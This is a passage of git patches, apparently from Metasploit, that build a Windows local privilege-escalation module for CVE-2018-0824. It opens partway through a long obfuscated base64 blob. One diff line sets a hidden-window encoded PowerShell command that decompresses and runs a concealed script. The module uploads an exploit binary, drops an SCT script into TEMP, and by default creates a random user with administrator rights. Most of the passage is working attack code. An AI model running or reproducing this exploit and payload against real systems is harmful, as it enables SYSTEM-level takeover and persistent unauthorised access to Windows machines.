QBuAEQAQwBXAG8AYgBLAFUATQA1AHoAUwB5AFUAUAArAEEAQQBGAGUAMgBoAG4ANABZAEUAWABhAEwAbABBAHIAUQBzAGwAdQBNADAAVwBrAGcAUwBpAEQAMwBRAEYAUgBJAGIAYQBVAGwASQBTAC8AZwBWAE0AKwBJAEUAcgBXAHYATQBmAGwAWgBKAGYASwA0AEUAVQBsAE8AVwBTAHkAMgBvADQAWABkAFoAbQBqAFEAcwBDAGQAcgBwAE4AVgA4AEkARQA2AG8AdQB3AFYATgBYAEgAawBEADcAYwBuAGgAdwBlAEwAQwBzAGEAWgBLAEYAeQBuAE8AUwB3AE8AagBWAFQAVABWAEcARQBKAGsANABwAFEAVwB1AHgARAA0AEkAYwBrAHMAdwB3AFkAdgBQAGEATAA2AEYAYQBjAFAATwBTAHkAUQB0AG4AbgBBAFYARwB0AEcAdwA5AFcAUAB0AGIAaQAwAEsAZwBnAC8ANABDAGwAWgB1AFgASQByAEQAQgBXAGoAcwA2ADkAagBJAHoARwA3AEUAMQAzAC8ATQB4AHcARgBhADQAaABRAE4AdABxAG0AZgA0AEsAQwBtAG4AUABnAFMAdgBHAGgASgBVAEoAVgBmAHUAeABhAGIAUQBFAHgAaQBjAC8AOABCAGgAUQBOAEUAVQBPAFEAegBEAGgAbQB2ADgAbgBkAHEAVwBvAEwAWgBrADYANQBhAFkAaABLAGkAWABBAG0AZwBSAEEAVgBFAEIAZABXAFQAdgBnADEAbQBWAHcAVwB4AGEAYQBRAG0AUwBnAEMAZwAzAFIAeABvADEAMQBnAEMAMABWAEUAdAB2AFMAZgAzAHQAdgBiAE8ANQB5AEQAVQA3AEIATwAvAEsARgByAEMAdABJAFMAZABGAHIAUQBFAEMALwBrAEUAaABTADEAQgBTAFEAdQA4AC8ANgBTAFUAagBGAGIARAA1AHQAZAB3AHoAWgBJAHcASABQAGcARgBxADgAMAB0AHAAQgByAEgAdgBiADgAKwBUAFEAdQBXAGwAdwBIAFUARABIAEsAMwByAFEAdwBGADIAQwBjAGMAaQBwAFkAdwB4AEMARgBTAHQAeABhAE8AYQByAC8ATgBGADQASABvACsANABUAEEARABnAEIATABEADEAQQBJAFcATwBFAEEAVwBJAHcAegBJAFkAYwBRAG8AZQBwAFMAMgAwAEwATQBTAEQASwBDAEUAcABDAG8ATgByAHgATwAvAEEAaQAyADkANQA3AGwARgBYAEgAOABDAEkAWABOAHYAOABkAFgAOAAzAGgASABXAG8ANQBFAEQAYwBHAHoANgBLAEMAOABGAHEARwBzAEoAYgBnADQAWgAzAEIAdQBjAEYAUwBCAFEAdgAvAEYAOQA3AFAAagBvAG8AcQBpAG4ANgBOADkARgBjAFIANgBZADkAeQBvAFcAOABiADUAMwBMAGcAUABPAEIAbgAzAGcARgBUAHAANQB3AHgAUwAxADMATwBhAHEASAA2AEIAVABuAHUANwBvADAARgA4ADMAZABIAHcANABHAFEANgBvAEkAOABLAFAASgBwACsATwBYAE4AVgB5ADMARwB2AEQAVABNAGMARQBjAHQAZwAxAGwAegBEAFkAeQBlAE8ARABkAHcAMQBJAHAAaAB2AEgAUwAyAGEATQBqAG4ANwBhAE4AdgBEAGsAVABVAFkASwB2AGwAZwBFAHkAOABWAG8AegBDADAAbwBiAHEAZABkAFYAVQBsAEcATwBMAGYAMwBKAEgAcQBPAEsAQwBIACsAKwBQAFoAMwBjAFoAUQBRAGoAVwBKAHIAcQBKADUAZgAyADEATQA0AHkAcwBEAEgAUABYAEgAawBSAEgAQgBXAHoAWABpAFEASgBXAHYANQBVAGkAVgA5AGYANwBZAFUAbQBNAE4AeQAwAHAAawB6AFkAYQB6AFgAdgBmAGEANgBMAHcAagBLAG4ANgAwAEQARQBzAFoAZQBrAC8AKwBuAHYAeABvAHYAZAA3AHcAYQBtAE0AcgBFADMATwBrAHgAUABwAEYAcQBIAGUAUAA5AEUAcAAvAHgAZgBXAHYAVgArAGYAagBnAFYAYgBOAEEAegA2AGYAegBRAHMATgBhACsAQgBIADAAKwBjAHoATgAwAGEAZQBtADYAbQBlAHAAbAAvAFAAMwBNAHkASQAzAHEAeQBqAG0AVAB2AHUAOQBQAFIAWQBoAFgAVQBEAGIAOABhAFoAMQBZAEcAbgAyAHcAVQBjAG0ARwAzAGQAbgBoAHoANwAzAGsAbAAyAG0ANwBnAHkAWQBPAFIAWgBSAGgAcABiAHcAYgBKAHYARAA0AE4ARQA3AFgAUgBjAHAAegBzAHgATQBOAEoAdABiAHkAVgB2ADEAcABxADgAMgBiAG8AVAAwAEsARwBuAGIAcABxAGsASABGAFoAbAAyAG4ARgBQADEAVwBxADAAdQBiAEMATgAwAHIAVABuAHYAZgBHAGQAOQBqAGkAeABlAGgAdgBUADEAaABSAHYAaABVAGQAcgBKAHgAMgB1AHAAdwBXAEEAbwBrADcATQBnAE4AagBPAEUAUgAwADQAYwBuAEwAcQA5AHAATABsAGgAawBPAGwARABEAHAAZABGAEMAMwA1AGEASAB5AHMAagBzAEsAcgA2ADYAMwB2AGIAZQA1AGMAWgAzAFQAdgBlAHUAYQBKAG0AOABiADMAawArAE4ATABOAGsAdABEADkAZABhAGQAUABaAG8AawBkAGgAUQBOADcATABvAFQASAAvAEsAdABiAEYAcgBqAFMARABIAHYAKwAxAG8AVgBpAGEANwBhAGoAZwB3ACsAUwArAGEATwA3AHgANAA2AFgAUQBlAFAATgBnAG4AOQBlAEMAWABqADAAVAB1AFAATABqADAAeQBvAHQASABBAEIARQA0AGsAbwA5ADQANQAxAFcAWQB1AEcAWgBXAHAAZQA1ADcAUwBlAGEAWABlAGUAZQArAEMAVABkAFgAbQBzAGIAOQB6AEkARwBkAG4AbgB6AGYAZwBNAHAANwBOADUAdwBoAHcAZwBkAHAAMgBoAC8ATABkAGMARAAyAFAAYgBNAGgAcgBWAEsANwBzADkAUQBRAHAAdABUADcAVQA5ADcAMgBzAGwATwBYADkAcQBlADUAdwBMAHQAaQBlAGwAdwBFAFcAeQBVAGcARwBEAG0AawBhAHgASwBZAG8AcwAwAHEAUAA0AEoAWAB6AHgAbgBuAFMAVwAzAFgAQgBqADUARwBtADgATgAvAEEAMwB3AGUAZgBRAEMAbQBsAGkAdgBXAE4AawA1AHgAcQBtAFQALwBxADEAWgBnADUAZQBMAEQAcAA5AC8AWAAxADAATgBwAGUAMAAyAEkASQBYAEIAcgB3AHUARwBSAHkATgAvAEQATwBxAGUASgB4ADMAQgAvADYAWABVAHAAdQBPADkAMwBaAGgAdwArAHYAKwBVADYARAByAGQAYgBZAHIASgBMAHoAWgAzAHYAbwBSAHoAMwBQADkAUABNAGkAOQBnAG4AcwBMAFcAaABuADkAVgBHAG0AMAAxAHoAZgB0ADYAZwBwAHgAVgB4AEQARgBIAGMAMwBtAGgAWABLAFUAMABUAGcAVABnAEMAMwBoAHYAcABJAFUAQQBpAGgAQQBlACsAUAB2AEoAdABCAGEAOQA0ADEAVABOADYALwBIAFIAZwBlAEgANwAwADQAawBvAFEAbgBRAGUAbAByADQANgB5AFgAegBzADYAdQBJAFUAbwA0AFoATwA2AEQAOQBoAGkAbABFAFkAdABiADgAdQBaAFkAbABxAEUATgB5AHAAdQBlAEQARABuACsAZgBGADUAOQBtAG0AMQBGAE0ATgBUAGkAVABiAFMAQwBaAFcAZQBYAFYASABZAGwAZgB1AHcAMAAwAG8ARgBqACsAdgA4AHoAVwB2AHYAagBMAG8AWgBYACsAQwA5AG8AZgBWADMANwBoADYAOAAvAGgAYQBEAGMAMgBtAFgAOAAzAGYASwAzAEMANwA4AEUANgBLACsAbgA3AHYAbQBZAGcAYQBnAEYASgB6AFoAQgB1ADgAdgBDAGkAdwBqAHMAcQBmAEgAOABJAHMAVQBMAEEANwBWAGYANwBoADkAKwBEAGIANABvADIAZABzAEoAWABMAEEATwBEAC8ANABDADUANABxAFoARwBXADgATABBAEEAQQA9ACcAJwApACkAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQApACkAJwA7ACQAcwAuAFUAcwBlAFMAaABlAGwAbABFAHgAZQBjAHUAdABlAD0AJABmAGEAbABzAGUAOwAkAHMALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAE8AdQB0AHAAdQB0AD0AJAB0AHIAdQBlADsAJABzAC4AVwBpAG4AZABvAHcAUwB0AHkAbABlAD0AJwBIAGkAZABkAGUAbgAnADsAJABzAC4AQwByAGUAYQB0AGUATgBvAFcAaQBuAGQAbwB3AD0AJAB0AHIAdQBlADsAJABwAD0AWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAUwB0AGEAcgB0ACgAJABzACkAOwA=' -# command = 'cmd.exe /c \\\"C:\\\\\\\\Program files\WindowsPowerShell\\\\\\\\Modules\\\\\\\\Pester\\\\\\\\3.4.0\\\\\\\\bin\\\\\\\\Pester.bat\\\" /help \\\"$null; c:\\\\\\\\Users\\\\\\\\msfuser\\\\\\\\downloads\\\\\\\\test.exe' -# command = 'C:\Users\msfuser\Downloads\test.bat' -# command.gsub!('\\', '\\\\\\\\') - command = 'C:\users\msfuser\downloads\test.exe' -# command = 'copy /Y C:\\users\\msfuser\\downloads\\test.exe C:\\windows\\system32\\notepad.exe.bak' -# command.gsub!('\\', '\\\\\\\\\\\\') + command = '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAkAGUAbgB2ADoAdwBpAG4AZABpAHIAKwAnAFwAcwB5AHMAbgBhAHQAaQB2AGUAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQBlAGwAcwBlAHsAJABiAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAJwB9ADsAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBTAHQAYQByAHQASQBuAGYAbwA7ACQAcwAuAEYAaQBsAGUATgBhAG0AZQA9ACQAYgA7ACQAcwAuAEEAcgBnAHUAbQBlAG4AdABzAD0AJwAtAG4AbwBwACAALQB3ACAAaABpAGQAZABlAG4AIAAtAGMAIAAmACgAWwBzAGMAcgBpAHAAdABiAGwAbwBjAGsAXQA6ADoAYwByAGUAYQB0AGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwAnAEgANABzAEkAQQBIAFMAeQB5AEYAcwBDAEEANwBWAFcALwBXACsAYgBPAEIAagArAGUAWgBYADYAUAA2AEEAcABVAGsARABMAEUAdABLAG0AdgBhADMAUwBwAEkATQBFAEcAcgBLAFEASgB1AFcAcgBhAFIAZABOAEYAQgB4AHcAWQB6AEEARgAwAHkAUwA5ADIALwA5ACsAcgAwAG4AbwB1AGwAdAAzAHQANQAxADAASwBCAEcAMgBlAFQAKwBmADkANwBGAGYATAA4AHMAMABZAEoAaQBtAHcAbABLADUAMQBKAG4AdwB4ACsASABCAHEANgBtAGYAKwA0AGsAZwBOAGgASwB6AEoAVABRAGUAeAA5AE8AWgA5AE8AbwBWAEwARABlAFcAbgA0AFUAUABnAG4AaQBqAFoATgBtAEEASgBqADUATwBGADIAZABuAC8AVABMAFAAVQBjAHAAMgA4AC8AWQA1AFkAawBwAFIAbwBPAFMAVwBZAEYAUwBJAGsAdgBDAG4ANABNAFUAbwBSADIAOAB2AGIAdQA5AFEAQQBMAGEARgB4AHUAZgAyAE8AYQBHADMAUAB0AG0ATABiAGYAdAArAEUAQwBQAGgAcgBaAEsARwAvAE4AdQBZAEIAagA2AFAAcABXADEAbABCAEQATwB4ACsAZQBsAFQAVQA3AHAANQAyADEAMgAwAHQAZgB2AFMASgA0AFgAWQB0AEwAWQBGAFEAMABrADcASgBLAFEAcABDAFYAOABrADcAdABEAGUAWgBrAGgAcwBtAGoAagBJAGEAVQBHAFgAcgBPADMAaAA5AFAAaQBvADcAYQBTAEYAdgAwAFEAVABzAFAAYQBBAFQATQBSAGkARwBoAFoATgBDAFgASwBBAFgANAA1AFkAbQBhAGMAQwBaAE0AUABWAGQAeAAvAEYASgBnAHkAbgBPAFEAMgBVAE0ATQB4AFIAVQBUAFIAYgB3AGcAMAAzAGYATABOAFkALwBDADcAZQA3AEwAMQBlAGwAaQBuAEQAQwBXAG8AYgBLAFUATQA1AHoAUwB5AFUAUAArAEEAQQBGAGUAMgBoAG4ANABZAEUAWABhAEwAbABBAHIAUQBzAGwAdQBNADAAVwBrAGcAUwBpAEQAMwBRAEYAUgBJAGIAYQBVAGwASQBTAC8AZwBWAE0AKwBJAEUAcgBXAHYATQBmAGwAWgBKAGYASwA0AEUAVQBsAE8AVwBTAHkAMgBvADQAWABkAFoAbQBqAFEAcwBDAGQAcgBwAE4AVgA4AEkARQA2AG8AdQB3AFYATgBYAEgAawBEADcAYwBuAGgAdwBlAEwAQwBzAGEAWgBLAEYAeQBuAE8AUwB3AE8AagBWAFQAVABWAEcARQBKAGsANABwAFEAVwB1AHgARAA0AEkAYwBrAHMAdwB3AFkAdgBQAGEATAA2AEYAYQBjAFAATwBTAHkAUQB0AG4AbgBBAFYARwB0AEcAdwA5AFcAUAB0AGIAaQAwAEsAZwBnAC8ANABDAGwAWgB1AFgASQByAEQAQgBXAGoAcwA2ADkAagBJAHoARwA3AEUAMQAzAC8ATQB4AHcARgBhADQAaABRAE4AdABxAG0AZgA0AEsAQwBtAG4AUABnAFMAdgBHAGgASgBVAEoAVgBmAHUAeABhAGIAUQBFAHgAaQBjAC8AOABCAGgAUQBOAEUAVQBPAFEAegBEAGgAbQB2ADgAbgBkAHEAVwBvAEwAWgBrADYANQBhAFkAaABLAGkAWABBAG0AZwBSAEEAVgBFAEIAZABXAFQAdgBnADEAbQBWAHcAVwB4AGEAYQBRAG0AUwBnAEMAZwAzAFIAeABvADEAMQBnAEMAMABWAEUAdAB2AFMAZgAzAHQAdgBiAE8ANQB5AEQAVQA3AEIATwAvAEsARgByAEMAdABJAFMAZABGAHIAUQBFAEMALwBrAEUAaABTADEAQgBTAFEAdQA4AC8ANgBTAFUAagBGAGIARAA1AHQAZAB3AHoAWgBJAHcASABQAGcARgBxADgAMAB0AHAAQgByAEgAdgBiADgAKwBUAFEAdQBXAGwAdwBIAFUARABIAEsAMwByAFEAdwBGADIAQwBjAGMAaQBwAFkAdwB4AEMARgBTAHQAeABhAE8AYQByAC8ATgBGADQASABvACsANABUAEEARABnAEIATABEADEAQQBJAFcATwBFAEEAVwBJAHcAegBJAFkAYwBRAG8AZQBwAFMAMgAwAEwATQBTAEQASwBDAEUAcABDAG8ATgByAHgATwAvAEEAaQAyADkANQA3AGwARgBYAEgAOABDAEkAWABOAHYAOABkAFgAOAAzAGgASABXAG8ANQBFAEQAYwBHAHoANgBLAEMAOABGAHEARwBzAEoAYgBnADQAWgAzAEIAdQBjAEYAUwBCAFEAdgAvAEYAOQA3AFAAagBvAG8AcQBpAG4ANgBOADkARgBjAFIANgBZADkAeQBvAFcAOABiADUAMwBMAGcAUABPAEIAbgAzAGcARgBUAHAANQB3AHgAUwAxADMATwBhAHEASAA2AEIAVABuAHUANwBvADAARgA4ADMAZABIAHcANABHAFEANgBvAEkAOABLAFAASgBwACsATwBYAE4AVgB5ADMARwB2AEQAVABNAGMARQBjAHQAZwAxAGwAegBEAFkAeQBlAE8ARABkAHcAMQBJAHAAaAB2AEgAUwAyAGEATQBqAG4ANwBhAE4AdgBEAGsAVABVAFkASwB2AGwAZwBFAHkAOABWAG8AegBDADAAbwBiAHEAZABkAFYAVQBsAEcATwBMAGYAMwBKAEgAcQBPAEsAQwBIACsAKwBQAFoAMwBjAFoAUQBRAGoAVwBKAHIAcQBKADUAZgAyADEATQA0AHkAcwBEAEgAUABYAEgAawBSAEgAQgBXAHoAWABpAFEASgBXAHYANQBVAGkAVgA5AGYANwBZAFUAbQBNAE4AeQAwAHAAawB6AFkAYQB6AFgAdgBmAGEANgBMAHcAagBLAG4ANgAwAEQARQBzAFoAZQBrAC8AKwBuAHYAeABvAHYAZAA3AHcAYQBtAE0AcgBFADMATwBrAHgAUABwAEYAcQBIAGUAUAA5AEUAcAAvAHgAZgBXAHYAVgArAGYAagBnAFYAYgBOAEEAegA2AGYAegBRAHMATgBhACsAQgBIADAAKwBjAHoATgAwAGEAZQBtADYAbQBlAHAAbAAvAFAAMwBNAHkASQAzAHEAeQBqAG0AVAB2AHUAOQBQAFIAWQBoAFgAVQBEAGIAOABhAFoAMQBZAEcAbgAyAHcAVQBjAG0ARwAzAGQAbgBoAHoANwAzAGsAbAAyAG0ANwBnAHkAWQBPAFIAWgBSAGgAcABiAHcAYgBKAHYARAA0AE4ARQA3AFgAUgBjAHAAegBzAHgATQBOAEoAdABiAHkAVgB2ADEAcABxADgAMgBiAG8AVAAwAEsARwBuAGIAcABxAGsASABGAFoAbAAyAG4ARgBQADEAVwBxADAAdQBiAEMATgAwAHIAVABuAHYAZgBHAGQAOQBqAGkAeABlAGgAdgBUADEAaABSAHYAaABVAGQAcgBKAHgAMgB1AHAAdwBXAEEAbwBrADcATQBnAE4AagBPAEUAUgAwADQAYwBuAEwAcQA5AHAATABsAGgAawBPAGwARABEAHAAZABGAEMAMwA1AGEASAB5AHMAagBzAEsAcgA2ADYAMwB2AGIAZQA1AGMAWgAzAFQAdgBlAHUAYQBKAG0AOABiADMAawArAE4ATABOAGsAdABEADkAZABhAGQAUABaAG8AawBkAGgAUQBOADcATABvAFQASAAvAEsAdABiAEYAcgBqAFMARABIAHYAKwAxAG8AVgBpAGEANwBhAGoAZwB3ACsAUwArAGEATwA3AHgANAA2AFgAUQBlAFAATgBnAG4AOQBlAEMAWABqADAAVAB1AFAATABqADAAeQBvAHQASABBAEIARQA0AGsAbwA5ADQANQAxAFcAWQB1AEcAWgBXAHAAZQA1ADcAUwBlAGEAWABlAGUAZQArAEMAVABkAFgAbQBzAGIAOQB6AEkARwBkAG4AbgB6AGYAZwBNAHAANwBOADUAdwBoAHcAZwBkAHAAMgBoAC8ATABkAGMARAAyAFAAYgBNAGgAcgBWAEsANwBzADkAUQBRAHAAdABUADcAVQA5ADcAMgBzAGwATwBYADkAcQBlADUAdwBMAHQAaQBlAGwAdwBFAFcAeQBVAGcARwBEAG0AawBhAHgASwBZAG8AcwAwAHEAUAA0AEoAWAB6AHgAbgBuAFMAVwAzAFgAQgBqADUARwBtADgATgAvAEEAMwB3AGUAZgBRAEMAbQBsAGkAdgBXAE4AawA1AHgAcQBtAFQALwBxADEAWgBnADUAZQBMAEQAcAA5AC8AWAAxADAATgBwAGUAMAAyAEkASQBYAEIAcgB3AHUARwBSAHkATgAvAEQATwBxAGUASgB4ADMAQgAvADYAWABVAHAAdQBPADkAMwBaAGgAdwArAHYAKwBVADYARAByAGQAYgBZAHIASgBMAHoAWgAzAHYAbwBSAHoAMwBQADkAUABNAGkAOQBnAG4AcwBMAFcAaABuADkAVgBHAG0AMAAxAHoAZgB0ADYAZwBwAHgAVgB4AEQARgBIAGMAMwBtAGgAWABLAFUAMABUAGcAVABnAEMAMwBoAHYAcABJAFUAQQBpAGgAQQBlACsAUAB2AEoAdABCAGEAOQA0ADEAVABOADYALwBIAFIAZwBlAEgANwAwADQAawBvAFEAbgBRAGUAbAByADQANgB5AFgAegBzADYAdQBJAFUAbwA0AFoATwA2AEQAOQBoAGkAbABFAFkAdABiADgAdQBaAFkAbABxAEUATgB5AHAAdQBlAEQARABuACsAZgBGADUAOQBtAG0AMQBGAE0ATgBUAGkAVABiAFMAQwBaAFcAZQBYAFYASABZAGwAZgB1AHcAMAAwAG8ARgBqACsAdgA4AHoAVwB2AHYAagBMAG8AWgBYACsAQwA5AG8AZgBWADMANwBoADYAOAAvAGgAYQBEAGMAMgBtAFgAOAAzAGYASwAzAEMANwA4AEUANgBLACsAbgA3AHYAbQBZAGcAYQBnAEYASgB6AFoAQgB1ADgAdgBDAGkAdwBqAHMAcQBmAEgAOABJAHMAVQBMAEEANwBWAGYANwBoADkAKwBEAGIANABvADIAZABzAEoAWABMAEEATwBEAC8ANABDADUANABxAFoARwBXADgATABBAEEAQQA9ACcAJwApACkAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQApACkAJwA7ACQAcwAuAFUAcwBlAFMAaABlAGwAbABFAHgAZQBjAHUAdABlAD0AJABmAGEAbABzAGUAOwAkAHMALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAE8AdQB0AHAAdQB0AD0AJAB0AHIAdQBlADsAJABzAC4AVwBpAG4AZABvAHcAUwB0AHkAbABlAD0AJwBIAGkAZABkAGUAbgAnADsAJABzAC4AQwByAGUAYQB0AGUATgBvAFcAaQBuAGQAbwB3AD0AJAB0AHIAdQBlADsAJABwAD0AWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAUwB0AGEAcgB0ACgAJABzACkAOwA=' script_data = script_template_data.sub!('SCRIPTED_COMMAND', command) -# script_data = script_template_data.sub!('SCRIPTED_COMMAND', 'C:\\\\\\\\windows\\\\\\\\system32\\\\\\\\test.exe') -# script_data = script_template_data.sub!('SCRIPTED_COMMAND', 'C:\\\\\\\\Users\\\\\\\\msfuser\\\\\\\\Downloads\\\\\\\\putty.exe') if script_data == nil fail_with(Failure::BadConfig, "Failed to substitute command in script_template") end From 47353553e50aabb392b87ea921c0cbd16523814b Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Fri, 19 Oct 2018 18:15:44 -0500 Subject: [PATCH 18/20] Get everything together finally (still needs cleanup) --- data/exploits/CVE-2018-0824/script_template | 16 ++ .../exploits/CVE-2018-0824/UnmarshalPwn.sln | 28 +++ .../windows/escalate/unmarshal_cmd_exec.rb | 178 ++++++++++++++++++ 3 files changed, 222 insertions(+) create mode 100644 data/exploits/CVE-2018-0824/script_template create mode 100755 external/source/exploits/CVE-2018-0824/UnmarshalPwn.sln create mode 100644 modules/post/windows/escalate/unmarshal_cmd_exec.rb diff --git a/data/exploits/CVE-2018-0824/script_template b/data/exploits/CVE-2018-0824/script_template new file mode 100644 index 0000000000..0103d0aab5 --- /dev/null +++ b/data/exploits/CVE-2018-0824/script_template @@ -0,0 +1,16 @@ + + + + + + + + diff --git a/external/source/exploits/CVE-2018-0824/UnmarshalPwn.sln b/external/source/exploits/CVE-2018-0824/UnmarshalPwn.sln new file mode 100755 index 0000000000..04eceb835d --- /dev/null +++ b/external/source/exploits/CVE-2018-0824/UnmarshalPwn.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "UnmarshalPwn", "UnmarshalPwn.vcxproj", "{A6D839B1-7270-4632-BD2E-733A6061E91B}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {A6D839B1-7270-4632-BD2E-733A6061E91B}.Debug|Win32.ActiveCfg = Debug|Win32 + {A6D839B1-7270-4632-BD2E-733A6061E91B}.Debug|Win32.Build.0 = Debug|Win32 + {A6D839B1-7270-4632-BD2E-733A6061E91B}.Debug|x64.ActiveCfg = Debug|x64 + {A6D839B1-7270-4632-BD2E-733A6061E91B}.Debug|x64.Build.0 = Debug|x64 + {A6D839B1-7270-4632-BD2E-733A6061E91B}.Release|Win32.ActiveCfg = Release|x64 + {A6D839B1-7270-4632-BD2E-733A6061E91B}.Release|Win32.Build.0 = Release|x64 + {A6D839B1-7270-4632-BD2E-733A6061E91B}.Release|x64.ActiveCfg = Release|x64 + {A6D839B1-7270-4632-BD2E-733A6061E91B}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/modules/post/windows/escalate/unmarshal_cmd_exec.rb b/modules/post/windows/escalate/unmarshal_cmd_exec.rb new file mode 100644 index 0000000000..440979e394 --- /dev/null +++ b/modules/post/windows/escalate/unmarshal_cmd_exec.rb @@ -0,0 +1,178 @@ +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/windows/priv' +require 'msf/core/exploit/exe' + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Windows::Priv + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows unmarshal post exploitation', + 'Description' => %q{ + This module exploits a local privilege escalation bug which exists + in microsoft COM for windows when it fails to properly handle serialized objects.}, + 'References' => + [ + ['CVE', '2018-0824'], + ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0824'], + ['URL', 'https://github.com/x73x61x6ex6ax61x79/UnmarshalPwn'], + ['EDB', '44906'] + ], + 'Author' => + [ + 'Nicolas Joly', # Vulnerability discovery + 'Matthias Kaiser', # Exploit PoC + 'Sanjay Gondaliya', # Modified PoC + 'Pratik Shah ' # Metasploit module + ], + 'DisclosureDate' => 'Aug 05 2018', + 'Platform' => ['win'], + 'Targets' => + [ + ['Windows x64', { 'Arch' => ARCH_X64 }] + ], + 'License' => MSF_LICENSE, + )) + + register_options( + [ + OptString.new('COMMAND', + [false, 'The command to execute as SYSTEM (Can only be a cmd.exe builtin or Windows binary, (net user /add %RAND% %RAND% & net localgroup administrators /add ).', nil]), + OptString.new('EXPLOIT_NAME', + [false, 'The filename to use for the exploit binary (%RAND% by default).', nil]), + OptString.new('SCRIPT_NAME', + [false, 'The filename to use for the COM script file (%RAND% by default).', nil]), + OptString.new('PATH', + [false, 'Path to write binaries (%TEMP% by default).', nil]), + ]) + end + + def setup + super + validate_active_host + @cmd_to_run = datastore['COMMAND'] + @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + @script_name = datastore['SCRIPT_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + @exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i) + @script_name = "#{script_name}.sct" unless script_name.match(/\.sct$/i) + @temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP') + @exploit_path = "#{temp_path}\\#{exploit_name}" + @script_path = "#{temp_path}\\#{script_name}" + end + + def populate_command + username = Rex::Text.rand_text_alpha((rand(8) + 6)) + password = Rex::Text.rand_text_alpha((rand(8) + 6)) + print_status("username = #{username}, password = #{password}") + cmd_to_run = 'net user /add ' + username + ' ' + password + cmd_to_run += ' & net localgroup administrators /add ' + username + print_status(cmd_to_run) + return cmd_to_run + end + + def validate_active_host + begin + print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") + rescue Rex::Post::Meterpreter::RequestError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + raise Msf::Exploit::Failed, 'Could not connect to session' + end + end + + def validate_remote_path(path) + unless directory?(path) + fail_with(Failure::Unreachable, "#{path} does not exist on the target") + end + end + + def validate_target + if sysinfo['Architecture'] == ARCH_X86 + fail_with(Failure::NoTarget, 'Exploit code is 64-bit only') + end + if sysinfo['OS'] =~ /XP/ + fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP') + end + end + + def ensure_clean_destination(path) + if file?(path) + print_status("#{path} already exists on the target. Deleting...") + begin + file_rm(path) + print_status("Deleted #{path}") + rescue Rex::Post::Meterpreter::RequestError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + print_error("Unable to delete #{path}") + end + end + end + + def upload_exploit + local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'UnmarshalPwn.exe') + upload_file(exploit_path, local_exploit_path) + print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}") + end + + def upload_script(cmd_to_run) + vprint_status("Creating the sct file with command #{cmd_to_run}") + local_script_template_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'script_template') + script_template_data = ::IO.read(local_script_template_path) + vprint_status("script_template_data.length = #{script_template_data.length}") + full_command = 'cmd.exe /c ' + 